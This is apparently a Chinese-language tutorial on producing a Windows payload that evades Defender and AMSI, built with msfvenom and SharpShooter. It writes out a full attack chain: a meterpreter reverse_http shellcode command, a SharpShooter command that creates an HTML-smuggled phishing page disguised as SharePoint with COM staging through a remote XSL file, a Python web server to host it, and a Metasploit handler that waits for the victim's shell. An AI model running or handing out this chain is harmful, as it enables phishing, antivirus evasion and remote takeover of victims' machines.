导语:我在本文会介绍两部分内容:1.创建一个没有被Windows Defender检测到的有效载荷。2.所有这些都是在没有Cobalt Strike的情况下进行的,而是使用Sharpshooter + Metasploit/Msfvenom。
我在本文会介绍两部分内容:
1.创建一个没有被Windows Defender检测到的有效载荷,即使具有实时保护,高级威胁防护和AMSI(Microsoft 的反恶意软件扫描接口),也照样可以。
2.所有这些都是在没有Cobalt Strike的情况下进行的,而是使用Sharpshooter + Metasploit/Msfvenom。
注意事项
1.你只能使用带Sharpshooter的python2,它将与python3一起运行,且破坏力巨大;
2.复制测试报告(Repo)和Sharpshooter的设置;
3.复制Repo或安装metasploit framework(使用rvm并使用bundler安装deps),Metasploit Framework是一个编写,测试和使用exploit代码的完善环境。这个环境为渗透测试,shellcode编写和漏洞研究提供了一个可靠的平台;
另外,在写本文时,我会假设你已经阅读了我以前写的metasploit+msfvenom得经验介绍、xsl的概念(如何手动完成)以及在Linux中使用CLI的方法。
生成shellcode
你需要msfvenom来完成这个任务,在其他如何使用Sharpshooter的例子中,你会经常看到有渗透者使用像csharp字节数组这样的操作。但在本文中,我将直接使用shellcode。幸运的是,msfvenom实际上会在一个命令中自动完成这个操作。
运行以下命令:
./msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.221 LPORT=443 EnableStageEncoding=True PrependMigrate=True -f raw -o shellcode.txt
如果你以前使用过msfvenom,那么你就知道这只是使用meterpreter reverse_http有效载荷为x64架构(64位)生成的有效载荷。 reverse_http有效载荷选项可帮助我们让渗透测试变得更隐蔽,并通过低复杂度的数据包检测防火墙。例如,某些防火墙允许 “http”流量的通过。
生成有效载荷
现在我已经生成了shellcode,并将shellcode.txt文件放在同一目录中。现在,如果你使用的是Arch Linux这样的发行版,那默认情况下“Python”将是Python3。而在Ubuntu + Kali上,默认情况下它将是Python2,你可以通过运行python –version轻松验证。
现在我就可以使用正确的python版本(对我来说,是python2),执行文件并运行以下代码。
python2 SharpShooter.py --stageless --dotnetver 2 --payload js --output foo --rawscfile raw3.txt --smuggle --template sharepoint --com xslremote --awlurl http://192.168.1.221:8000/foo.xsl
首先,这将创建一个无状态有效载荷(stageless payload),这意味着它将不会被暂存,并将它需要的所有内容加载进来。这可能有点误导人,因为它稍后会提取.xsl文件。
其次,它将指定使用的dotnet版本(在本文中,你需要确保目标安装了dotnet 2),如果没有,那么将加载失败。不过目前,大多数Windows目标至少都有dotnet版本2。
接下来就是指定要使用的有效载荷类型,在本文中,我指定了JS,但是,我也可以轻松地指定诸如vba之类的类型。
之后,我需要使用–smuggle函数。因为有一些防火墙和安全软件会阻止.js和.vba文件的下载,而这个–smuggle函数将文件包装在html文件中,对其进行编码和加密。在页面加载时,数据被解密和解码,最后保存为blob对象。此时,阻止恶意扩展的垃圾邮件过滤器将不再起作用。同时,我指定了一个模板,该模板会使页面看起来更合理。在本文中,我将SharePoint指定为模板,这意味着网络钓鱼HTML看起来就像是从Microsoft Sharepoint下载的。
现在关键的部分来说,就是进入Com-staging。 Com-staging是来自Mdsec的Dom Chell创造的一个用法,为了破坏它,一些Microsoft应用程序(如Outlook)具有允许你运行shell命令的函数,例如obj.CreateObject("Wscript.shell").run("fun commands")。这是由Sharpshooter使用的,在本文中,它利用WMI从XSL文件执行代码。
接下来,我需要指定我的–awlurl,这将是xsl文件所在的位置。在本文中,我已经在我的http:// myip:8000 / file.xsl中指定了,因为它在默认情况下被放在输出文件夹中,我将在那里运行一个python http服务器。
恶意文件的提供过程是这样的,cd进入./output目录,然后运行python3 -m http.server。这样在此目录中的端口8000上,会创建一个基本的python Web服务器。
现在,在另一个窗口中,启动Metasploit处理程序。
sudo -E ./msfconsole use exploit/multi/handler set LHOST 192.168.1.221 set LPORT 443 set PAYLOAD windows/x64/meterpreter/reverse_http set ExitOnSession false exploit –j
现在你应该启动一个reverse_http处理程序,此时,你应该只需确保端口8000和端口443打开即可。现在导航到http://yourip:8000/foo.html,此时你应该能够打开文件,并收到一个shell!
总结
Sharpshooter + SquibblyTwo与Com-staging的结合,目前是绕过AMSI的绝配。